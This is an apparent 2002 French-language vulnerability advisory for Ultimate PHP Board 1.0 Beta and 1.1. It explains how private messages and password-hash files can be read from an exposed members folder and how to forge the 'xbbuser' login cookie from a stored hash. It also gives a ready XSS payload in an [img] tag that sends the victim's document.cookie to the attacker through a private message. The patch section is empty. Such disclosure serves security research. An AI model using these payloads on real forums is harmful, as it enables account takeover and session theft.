Produit : ********* Ultimate PHP Board http://xcrew.host.sk Versions : ********** 1.0 Beta 1.1 Date : ****** 21/04/02 Problèmes : *********** 1.0 Beta : - Lectures des messages privés 1.0 Beta et 1.1 : - Accès aux comptes users/admins. Developpement : *************** Commencons par la version 1.0 Beta. Ultimate PHP Board propose un envois de messages privés, en plus du forum. Dans pm.php, qui est le fichier qui gere cette option, on peut voir la ligne : $pms = file("members/$pmbox_id.pm"); Bon début... dans le dossier /members/ on trouvera des fichiers *.pm . Ils contiennet tout les messages privés.Leur nom est l'id de la personne à qui les messages appartiennent. Par exemple, les messages privés de celui qui a l'id 26 seront dans le fichier http://www.url.com/members/26.pm . Voyons maintenant une partie du code d'ad_login.php, qu'on peut aussi retrouver à quelques details près dans login.php : --------------------------------------------------------------------------------------------- if ($mode == "verify") { $useranzahl = file("members/members.xbb"); $useranzahl = $useranzahl[0] + 1; for ($i = 1; $i < $useranzahl; $i++) { $aktuelleruser_datei = file("members/$i.xbb"); if (strtolower($login_name) == strtolower(killnl($aktuelleruser_datei[0]))) { if (get_user_status($i,$var_admin,$var_mod,$var_banned,$var_killed) != $var_killed) { if (crypt($login_pw, "Xb") == killnl($aktuelleruser_datei[2])) { if (get_user_status($i,$var_admin,$var_mod,$var_banned,$var_killed) == $var_admin) { $login_pw = crypt($login_pw, "Xb"); $cookie_daten = "$i". "þ$login_pw"; setcookie("xbbuser", $cookie_daten); --------------------------------------------------------------------------------------------- Donc... on voit d'abord à la deuxieme ligne que le fichier /members/members.xbb contient le nombre de membres. On voit à la 4eme ligne que, comme il y avait un fichier /members/ID.pm, il y a un fichier /members/ID.xbb . On voit ensuite que ce fichier contient le password crypté, et enfin on voit que ce password crypté est envoyé par cookie. Ce cookie ce nomme 'xbbuser', et sa valeur se construit comme ceci : ID + 'þ' + 'Xb' + passwordcrypté Donc, par exemple : xbbuser=5þXbOhJmLwt est le cookie de la personne ayant l'id 5. Pour construire ce cookie, il aura suffit d'aller chercher Xbpasswordcrypté dans /members/5.xbb. Voyons maintenant la version 1.1. La sécurité change radicalement, car des fichiers htaccess ont été installés dans les dossiers contenant des fichiers sensibles. Mais les cookies se composent toujours de la même façon. Seule difference; le nom : ce n'est plus xbbuser mais cookie_xbbuser. Le pub est toujours de le recuperer, mais cette fois-ci via les messages privés. Comme maintenant beaucoup de boards, Ultimate PHP Board possède son propre 'code', qui est d'ailleurs pratiquement le même pour tous. Son nom est UPB-Code. Il permet de placer des balises HTML sans inscrire d'html. Par exemple la balise [url=http://www.url.com]click here[/url] remplace la balise html click here. C'est la balise [img] qui nous interesse, car elle va nous permettre d'envoyer un script. Il faudra par exemple envoyer [img]javascript:alert('hop')[/img] pour que le recepteur voit s'afficher une alerte avec "hop" marqué =) L'url pour envoyer des messages se compose comme ceci : index.php?upb=pm&mode=send&send=yes&target_id=IDDURECEPTEUR&betreff=SUJET&pm=MESSAGE&smilies=1 &use_upbcode=1&pmbox_id=SONPROPREID&check=yes Il suffira donc d'envoyer le code : [img]javascript:window.open(' index.php?upb=pm&mode=send&send=yes&target_id=SONPROPREID&betreff=cookie&pm='+document.cookie+ '&smilies=1&use_upbcode=1&pmbox_id=IDDELAVICTIME&check=yes ')[/img] Pour recevoir le cookie de la victime quand il lira le message. Patch : ******* / Greetz : ******** / Credits : ********* frog-m@n leseulfrog@hotmail.com